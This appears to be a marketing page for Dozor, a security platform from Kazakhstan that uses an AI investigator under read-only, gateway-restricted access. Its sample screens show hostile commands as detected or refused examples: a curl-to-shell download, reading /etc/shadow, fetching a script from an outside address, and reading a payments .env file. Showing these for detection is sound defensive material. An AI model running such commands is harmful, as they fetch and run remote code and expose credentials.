AI incidentinvestigation

Dozor detects attacks in server, network and cloud events and takes the investigation to a conclusion backed by evidence. The platform is built in Kazakhstan and runs inside your perimeter, in place of SIEM and SOAR or alongside your SIEM.

Request a demo How it works

Agents for Linux, Windows and macOS. A local or a cloud AI model, your choice.

Incident INC-2041 map in full screen: process and file cards inside the frame of their host, named links running left to right, claims citing their events and the timeline under the map. — Incident map INC-2041

Built in Kazakhstan

Dozor is built by a team in Almaty with years of information security practice: penetration tests, incident investigations, SOC build-outs. The product grew out of that work.

Our own code: We build the platform, the agents and the gateway between the AI and your servers ourselves. The source code and the builds stay under our control.
Three console languages: The Dozor interface works in Kazakh, Russian and English. Users pick a language in their own settings, and incidents and conclusions stay the same.
Data inside your perimeter: Events, incidents and investigation conclusions are stored on your servers. External connections stay off until you turn them on.
Security practice: The people who run penetration tests, investigate incidents and set up security processes work on one team. What we learn on those projects goes into Dozor rules and playbooks.

INC-2041КритичныйВ работе

Внешний SSH-вход сервисной учётной записи

Дневная смена, SLA 42 мин

INC-2041СыниЖұмыста

Сервистік тіркелгінің сырттан SSH арқылы кіруі

Күндізгі ауысым, SLA 42 мин

INC-2041CriticalIn progress

External SSH sign-in by a service account

Day shift, SLA 42 min

01 Investigation

An investigation with a plan and a budget

The AI investigator drafts a plan of read-only queries, collects telemetry and host data and returns a conclusion with recommendations. Every step is shown with the tokens and cost it took.

Console for the duty shift

Investigation INV-1101: data collection, the conclusion with recommendations, the token and cost budget, a five-step plan and the chosen model. — Investigation INV-1101 into incident INC-2041

Manual alert triage

An analyst triages alerts by hand, switching between consoles and pulling data from servers until the traces are gone.

Agent for Linux, Windows and macOS

The Dozor agent records process launches, file access, network connections and privilege escalation on the server. From these records the analyst reconstructs what a user did after signing in.

The agent connects to the hub over mTLS (TLS 1.3) and opens no inbound ports. Kernel-level monitoring is read-only: agent rules record events and do not block processes. On Linux the agent uses eBPF, on Windows the event log, on macOS Endpoint Security.

Sign-ins
SSH sign-ins and sessions: who, from where and with which key.
Logs
Logs of services, web servers, containers and journald. Rotation, truncation and deletion of logs.
Processes and privileges
The process tree, sudo and escalation to root, including attempts the kernel denied.
Files
Reads of secrets and writes to cron, systemd, authorized_keys and PAM.
Kernel
Loading of modules and BPF programs, debugging of other processes.
Network
Inbound and outbound connections tied to a process.

app-07, Dozor agent 1.24

read-only

09:43:12svc-backup signed in over SSH through bastion-02sshd[4102] auth=publickey key=ED25519in incident
09:44:30Scheduled log rotationlogrotate[4139] parent=cronroutine
09:45:02svc-backup got rootsudo[4160] uid=1001 euid=0in incident
09:45:40Payment service keys were readcat[4171] path=/opt/payments/.envin incident
09:46:05Network filter module loadedmodprobe[4176] module=nf_conntrack parent=systemdroutine
09:47:15Connection to the database serverssh[4188] dst=db-03:22in incident

Dozor linked 4 of 6 events to incident INC-2041

The app-07 agent feed during incident INC-2041

Behavioural analysis

Dozor keeps a profile of each server and workload across four families of events: processes, HTTP, connections and logs. The AI reviews a deviation from the profile before it becomes an incident, so the analyst on duty learns of an attack that no rule or indicator describes.

A profile counts as trained after a day of observation and 20 distinct events; its history is kept for 7 days. On a trained host Dozor sends a new command structure or a new log template for review the first time it appears; HTTP and connections need deviations in two features, or a new shape with a burst in rate. Reviews are capped by a daily and a monthly limit and by a per-host quota, 20 reviews a day by default. A new installation turns on four policies, one per family. Without a connected model the profiles still learn, but Dozor opens no incidents from deviations.

web-04, workload api (gunicorn)

Profile trained, 7 days of history

Processes

command structures

convert {in} -resize {size} {out}4 812
python3 -m api.jobs {task}1 306
pg_isready -h db-012 016
sh -c "curl -s {url} | sh"first seen

HTTP

routes and request features

GET /api/v1/files/{id}51 230
POST /api/v1/render8 944
GET /health20 160

Connections

destinations and ports

cache-01:637930 118
db-01:543212 402
storage-01:90002 207
203.0.113.50:80first seen

Logs

message templates

Rendered {n} pages in {ms} ms8 940
Cache miss for {key}3 311
Booting worker with pid {pid}96
/bin/sh: {n}: wget: not foundfirst seen

AI review

3 deviations in 40 seconds

LogsNew template in the gunicorn output
ProcessesNew command in the gunicorn tree
ConnectionsNew connection destination

Confirmed. The api service starts a shell and downloads a script from an external address.

Review 3 of 20 for this host today

INC-2107High, handed to the AI investigation

Profile of the api workload on web-04: Dozor gathered three new behaviours seen within 40 seconds into one episode and sent it for review.

02 Connection

One platform instead of SIEM and SOAR

Dozor covers event collection and storage, attack detection, investigation and response in one product with a single console for the duty shift.

Data sources and integrations

Event search: the RQL query line, filters, a histogram of events over time and a table of the 2599 events found. — Search across every event

Without a SIEM

Dozor ingests and stores events from agents, logs and clouds and detects attacks in them. Investigation and response happen in the same console.

With your SIEM

If your SIEM forwards events over syslog, CEF, LEEF or JSON, its alerts arrive in Dozor and the AI investigates them together with agent data. Without such forwarding, servers send Dozor a copy of their logs.

Classic SIEM, SOAR and Dozor compared
Task	Classic SIEM	SOAR	Dozor
Event collection	Logs and alerts from connected systems.	SIEM alerts.	Its own agents with service and container logs, syslog, CEF, LEEF, clouds and Kubernetes. Your SIEM connects as one more source.
Detection	A separate alert for every rule hit.	Handles alerts that already exist.	172 rules and behaviour profiles. The AI reviews a deviation from a profile before it becomes an incident. Dozor groups the events of one attack into one incident.
Investigation	Manual analysis across several consoles.	Follows a playbook written in advance.	The AI puts forward hypotheses for the incident and checks them against server data.
Data from servers	Only what reached the logs.	Through integrations, if they are set up.	The agent answers queries: processes, connections, sign-ins, files.
Basis for the conclusion	The analyst’s comment in a ticket.	The playbook run log.	Each statement has a status and a link to an event.
Response	Through SOAR or by hand.	Playbooks that engineers write and maintain.	An action request with a goal, consequences, a rollback method and a deadline. A second person approves it.
AI models	A chat assistant for alerts, if there is one.	Separate integrations inside playbooks.	A local model inside your perimeter or a cloud model with an investigation budget.

03 Evidence

A conclusion linked to events

A statement in Dozor has one of four statuses: established, hypothesis, refuted or unknown. An established fact links to an event, a host, a time and the query that produced it. A refuted hypothesis stays in the incident together with the fact that refuted it.

The attack on one map

Statement register of incident INC-2041 next to the end of the path on the map: the limit on conclusions about the db-03 logs and four established facts linked to evidence from EV-1043 to EV-1051. — Statement register of incident INC-2041

Gaps in the data: When a check is missing, Dozor names it in the conclusion, for example the db-03 sign-in log, and does not conclude “no threat”. Dozor does not publish statements without a basis. When a new fact appears, it issues a new version of the conclusion.
A person decides: Dozor drafts a response action as a request with a goal, consequences, a rollback procedure and a deadline. A second person approves the request: its author cannot approve it.

04 AI control

Gateway between the AI and your servers

The AI investigator picks an operation from a closed catalogue. The gateway checks that it fits the incident scope, and the agent runs it on the host in read-only mode. The AI has no access to a shell, SSH, SQL or passwords.

Frequently asked questions

Response: request RR-302 to isolate app-07 from the network, with its reason, targets, possible impact, how to undo it and the approval buttons. — Request RR-302 to isolate app-07 awaits approval

Pick an AI request and see how the gateway answers

the gateway lets it through

Process treeSign-ins over 30 daysFile metadata

the gateway refuses

Shell commandSQL queryDownload a script

The investigator’s catalogue holds 12 read operations. The hub signs a task with an Ed25519 key, and the agent checks the signature before running it. On the host, seccomp and Landlock forbid launching programs, writing and network connections.

AI investigator requestINV-1101

get_process_tree host=app-07 pid=4127

Allowed

The operation is in the catalogue and the host is in the scope of incident INC-2041. The agent runs it on the host in read-only mode.

Scope: INC-2041, bastion-02, app-07, db-03, 16 Oct 2026, 09:30 to 10:30
Limits: response up to 4 MiB, timeout 300 s

sshd [812]└─ sshd: svc-backup [4102] └─ bash [4127] └─ sudo -i [4160] └─ bash (root) [4163] └─ cat /opt/payments/.env [4171]

app-07, agent 1.24, 10:02:41, Ed25519 signature and SHA-256 verified

AI investigator requestINV-1101

read_auth_events host=bastion-02 user=svc-backup period=30d

Allowed

The operation is in the catalogue and the host is in the scope of incident INC-2041. The agent runs it on the host in read-only mode.

Scope: INC-2041, bastion-02, app-07, db-03, 16 Oct 2026, 09:30 to 10:30
Limits: incident hosts and this account only

Sign-ins from external addresses: 116 Oct, 09:41 203.0.113.45 ED25519 key successFailed attempts from this address: 0

bastion-02, agent 1.24, 10:02:36, Ed25519 signature and SHA-256 verified

AI investigator requestINV-1101

get_file_metadata host=app-07 path=/opt/payments/.env

Allowed

The operation is in the catalogue and the host is in the scope of incident INC-2041. The agent runs it on the host in read-only mode.

Scope: INC-2041, bastion-02, app-07, db-03, 16 Oct 2026, 09:30 to 10:30
Limits: without the file contents

owner root:root mode 0600 412 bytesmodified 2 Oct 2026, 14:20accessed 16 Oct 2026, 09:52

app-07, agent 1.24, 10:02:44, Ed25519 signature and SHA-256 verified

AI investigator requestINV-1101

bash -c "cat /etc/shadow"

Refused by the gateway

The catalogue has no “run a command” operation. The task runner on the host does not launch programs either: a system call filter forbids it.

The gateway stopped the request before it reached the host and wrote the attempt to the investigation log.

AI investigator requestINV-1101

SELECT * FROM payments

Refused by the gateway

The catalogue has no free-form database queries. The AI searches the events Dozor has collected, within the incident.

The gateway stopped the request before it reached the host and wrote the attempt to the investigation log.

AI investigator requestINV-1101

curl http://203.0.113.45/x.sh

Refused by the gateway

The gateway lets nothing out to the network. Dozor checks the address against collected telemetry and threat feeds without contacting it.

The gateway stopped the request before it reached the host and wrote the attempt to the investigation log.

Measures only after approval

A measure on an incident is a request: the action, its targets, the reason, the possible impact and how to undo it. A second person with the right role approves it; the author cannot approve their own.

05 Models

You choose the model and perimeter

The investigation runs on the model your policy allows: a local one on your server or a cloud one on your key. Each investigation shows which model was chosen, which one stands in reserve and what data it receives.

Discuss a pilot

The model card of investigation INV-1101: the chosen model and its route, the fallback model, the policy allowing external models, masking and the data categories the model receives. — The model of investigation INV-1101

Your server: Dozor connects to a local model on your server through an OpenAI-compatible API. Investigation data stays inside your network.
Cloud: If your security policy allows it, Dozor works with a cloud model under your key: Anthropic, OpenAI, Google or models through OpenRouter. It masks sensitive fields before sending.
Isolation: In an isolated perimeter the policy forbids external models, and Dozor has no path around that policy.
Budget: You set a token and spending limit for an investigation and see the cost step by step.
Installation: Dozor installs from an offline package: with Docker Compose on a single Linux server or with a Helm chart on a cluster with your PostgreSQL, ClickHouse and Kafka.

How Dozor works

Event collection, detection, investigation and response in one platform.

Dozor runs on your servers. Agents for Linux, Windows and macOS send sign-ins, processes, file changes and network connections, and find the logs of services, web servers and containers. Your SIEM, network and cloud logs and threat feeds connect as sources.
The events of one attack become one incident. Dozor checks events against 172 rules and against the norm of each server: commands, HTTP requests, connections, log templates. The AI reviews a deviation before it becomes an incident, within a quota. Dozor links a confirmed one with the rest of the attack on the incident map.
The AI checks its hypotheses on the servers. It asks for sign-in history, process trees and file metadata through a read-only gateway. Dozor masks known secret formats before anything reaches the model.
People make the decision. The conclusion keeps established facts apart from refuted ones and links them to events. Dozor drafts measures as a request: the analyst on duty checks it, a second employee approves it.

Dozor agents
Linux, Windows and macOS
- Into Dozor: events, service and container logs
- From Dozor: checks through the gateway, read-only
Your SIEM
MaxPatrol SIEM, KUMA, QRadar, Splunk
- Into Dozor: alerts and events
Network and clouds
firewalls, Kubernetes, clouds
- Into Dozor: logs: syslog, CEF, LEEF
Threat feeds
MISP, STIX/TAXII
- Into Dozor: indicators of compromise

Dozor

on your servers

Event collection
one schema, stored on your side
Detection
172 rules and behaviour profiles
AI review
checks a deviation before an incident
Incidents
the events of one attack together
AI investigator
puts forward and checks hypotheses
Gateway
read-only, signed tasks
Statement register
facts linked to events
Measure requests
goal, impact, rollback, deadline

AI model
inside your perimeter or in a cloud on your key
- From Dozor: context without secrets
- Into Dozor: a verdict, hypotheses and a plan of checks
On-duty shift
SOC analysts
- From Dozor: the incident and a conclusion with evidence
- Into Dozor: decision on measures
Second approver
confirms measures after the duty analyst
- From Dozor: measure request
- Into Dozor: approval or rejection

Dozor takes over collecting and checking the data and leaves the decision to a person.

Console for the duty shift

In a single console the shift works the incident queue with SLA tracking, the link map and the progress of AI investigations, approves response actions and hands incidents over to the next shift.

The attack on one map

Processes and files stand inside the frame of their host, accounts and outside addresses to the left of the hosts. Links run left to right, from cause to effect, and each is named and marked as observed, correlated, a hypothesis or refuted.

An investigation with a plan and a budget

The AI investigator drafts a plan of read-only queries, collects telemetry and host data and returns a conclusion with recommendations. Every step is shown with the tokens and cost it took.

SOC operations screen: open incidents, SLA breaches, the unassigned queue, sensors online and charts of event intake and alerts over a day.

The shift operations screen

Open incidents, SLA breaches, the unassigned queue and sensors online on one screen. Event intake and alert charts refresh on their own, and TV mode puts the screen on the wall of the SOC room.

Detection: rules with status, severity, last test, hits over 7 days and ATT&CK techniques.

Rules and their tests

Each rule shows its status, severity, the result of its last test and its hits over seven days. The MITRE ATT&CK coverage screen shows where a rule, data and a test exist and where there is a gap.

Search across every event

RQL queries run over the events of every source at once. Filters by type, severity and source, a time distribution and a table of results; queries can be saved and results exported.

Measures only after approval

Data sources and integrations

A SIEM connects in one of two ways: it forwards alerts to Dozor over syslog, CEF, LEEF or JSON, or servers send Dozor a copy of their logs. Dozor has ready normalizers for IBM QRadar, Wazuh, Elastic and for AWS, Azure and Google Cloud logs. Dozor accepts PS Cloud, QazCloud and Yandex Cloud logs as JSON and syslog, and agents run on virtual machines in these clouds the same way as on your own servers. We set up forwarding from Splunk, ArcSight, MaxPatrol SIEM and KUMA together with you during the pilot. Dozor sends notifications to Telegram, Slack and webhooks.

SIEM

IBM QRadar
Splunk
Elastic and Wazuh
ArcSight
MaxPatrol SIEM
Kaspersky KUMA

Clouds

PS Cloud
QazCloud
Yandex Cloud
AWS
Azure
Google Cloud

Servers and network

auditd
Windows
nginx and Apache
Kubernetes
Suricata
Zeek

Feeds and formats

MISP
STIX/TAXII
syslog
CEF
LEEF
JSON

Pilot

The pilot runs on your servers and data in Kazakhstan and Central Asia. We agree its length and terms at the first meeting, based on your SOC scenarios.

01
Meeting
A walkthrough of the console and investigation scenarios. A review of your sources: agents, logs, SIEM and EDR if you have them. Picking the attack scenarios that matter to your SOC.
02
Scope
Hosts and event sources for the pilot. Model: local, or a cloud model under your key. Duty shift staff who work with Dozor.
03
Installation
The Dozor hub inside your perimeter: Docker Compose or Helm. Agents on the chosen hosts, logs and a SIEM if you have one. Models and external sources stay off until you turn them on.
04
Metrics
Time to the first useful conclusion. Share of conclusions the analyst confirmed. False positives and missed scenarios. Investigation cost and load on the hosts.
05
Result
A report by scenario: what was detected and what was missed. You decide on adoption by your own metrics.

Information security services

The people who build Dozor run penetration tests, investigate incidents and build SOCs and security processes. We work under contract in Almaty and across Kazakhstan.

All services

Penetration testing

External and internal penetration tests in black, grey and white box models.

Web applications and APIs

Security assessment of websites, customer portals, APIs and mobile apps against OWASP.

Incident response

Response to an attack, forensics of servers and workstations, a report for management.

SOC build-out

Your own monitoring centre on Dozor: sources, rules, playbooks, procedures and shift training.

Virtual CISO

A head of security under contract: strategy, policies, budget and reports to management.

Security implementation

Security processes and tools, including free open source solutions.

Audit and compliance

Security audits, legal requirements of Kazakhstan, preparation for ISO/IEC 27001 and PCI DSS.

Staff training

Cyber hygiene training and simulated phishing campaigns with a report by department.

Frequently asked questions

What to know before a Dozor pilot.

Ask your own question

Do I need a SIEM?

No. Dozor collects and stores events from agents, syslog, CEF, LEEF, cloud and Kubernetes logs and detects attacks in them. If you have IBM QRadar, Splunk, MaxPatrol SIEM or another SIEM, connect it as a source: the AI investigates its alerts together with agent data.

Is there a Kazakh interface?

Yes. The Dozor console works in Kazakh, Russian and English. Users pick the language in their own settings.

Does the AI get access to the servers?

The AI has no direct access. It makes a request, the gateway checks it against the operation catalogue and the incident scope, and the agent runs it on the server in read-only mode. The AI never gets a shell, SQL or server keys.

Can it work without cloud AI?

Yes. Dozor works with a local model on your server, and in an isolated perimeter the policy forbids external models.

What data goes to an external model?

Dozor sends the incident context within your policy and masks sensitive fields. Until you turn on an external model, Dozor sends nothing outside your perimeter.

What happens if the model is unavailable or wrong?

Rules, event intake and notifications work without the model: the duty analyst gets a critical alert without AI. When the model fails, Dozor does not conclude “no threat” and does not publish statements without a basis.

How does Dozor tell an attack from planned maintenance?

The AI investigator checks the “planned maintenance” hypothesis on equal terms with the “attack” hypothesis and looks for facts against each. Dozor does not treat a matching address or time as a proven link.

How does Dozor find an attack that no rule describes?

Dozor keeps a profile of each server: commands, HTTP requests, connections and log templates. The AI reviews new behaviour on a trained host before it becomes an incident, within the daily limit and the host quota. In active mode Dozor opens an incident for a confirmed deviation; in observe mode it records the decision and the spend without opening one.

Which systems does the agent run on?

The agent runs on Linux (amd64 and arm64, deb and rpm packages or a tar archive), Windows and macOS. It connects to the hub over mTLS and opens no inbound ports. Dozor sees hosts without an agent through logs and a connected EDR.

Which logs does the agent collect?

The agent finds service logs through the files a service keeps open, web server logs and the output of Docker and Kubernetes containers. On Linux it reads journald at INFO and above, up to the latest 2000 records on first start. The agent records log rotation, truncation and deletion as separate events.

Does Dozor work without internet access?

Yes. Dozor installs from an offline package and works with a local model. External connections stay off until you turn them on.

Who builds Dozor?

A team in Almaty. We build the platform, the agents and the gateway ourselves, and run pilots, rollouts and support in Kazakh, Russian and English.

AI incidentinvestigation

Built in Kazakhstan

An investigation with a plan and a budget

Agent for Linux, Windows and macOS

Sign-ins

Logs

Processes and privileges

Files

Kernel

Network

Behavioural analysis

Processes

HTTP

Connections

Logs

AI review

One platform instead of SIEM and SOAR

Without a SIEM

With your SIEM

A conclusion linked to events

Gateway between the AI and your servers

Measures only after approval

You choose the model and perimeter

How Dozor works

The Dozor principle

Console for the duty shift

The attack on one map

An investigation with a plan and a budget

The shift operations screen

Rules and their tests

Search across every event

Measures only after approval

Data sources and integrations

SIEM

Clouds

Servers and network

Feeds and formats

Pilot

Meeting

Scope

Installation

Metrics

Result

Information security services

Penetration testing

Web applications and APIs

Incident response

SOC build-out

Virtual CISO

Security implementation

Audit and compliance

Staff training

Frequently asked questions

Test Dozor on your own data